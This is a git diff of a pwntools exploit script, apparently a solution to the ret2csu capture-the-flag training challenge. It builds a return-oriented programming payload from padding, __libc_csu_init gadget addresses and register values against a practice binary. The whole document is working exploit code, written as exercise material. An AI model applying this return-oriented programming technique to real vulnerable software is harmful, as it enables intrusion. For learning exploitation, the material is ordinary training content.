modified: x86_64/ret2csu/exploit.pyHEADmaster

	modified:   x86_64/ret2csu/gadgets

1 files changed, 15 insertions, 5 deletions

diff --git a/x86_64/ret2csu/exploit.py b/x86_64/ret2csu/exploit.py
index a148687..6394460 100755
--- a/x86_64/ret2csu/exploit.py
+++ b/x86_64/ret2csu/exploit.py
@@ -1,6 +1,8 @@
 #!/usr/bin/env python3
 from pwn import *
 
+context.terminal = ['kitty', 'bash', '-c']
+
 prog = gdb.debug('./ret2csu', gdbscript='b *0x40069a')
 payload = b''
 for c in range(40):
@@ -8,18 +10,26 @@ for c in range(40):
 
 
 payload += p64(0x40069a)            # __libc_csu_init()
-payload += p64(0)
-payload += p64(0)
-payload += p64(0x601020)
+
+payload += p64(19)
+payload += p64(1)
+payload += p64(0x601018)
 payload += p64(0xdeadbeefdeadbeef)
 payload += p64(0xcafebabecafebabe)
 payload += p64(0xd00df00dd00df00d)
 
+
 payload += p64(0x400680)
 
+payload += p64(1)
+payload += p64(2)
+
+payload += p64(0x00000000004006a3)
+payload += p64(0xdeadbeefdeadbeef)
+
+payload += p64(0x0000000000400510)
+
 
-#payload += p64(0x00000000004006a3)
-#payload += p64(0xdeadbeefdeadbeef)
 
 payload += b"\n"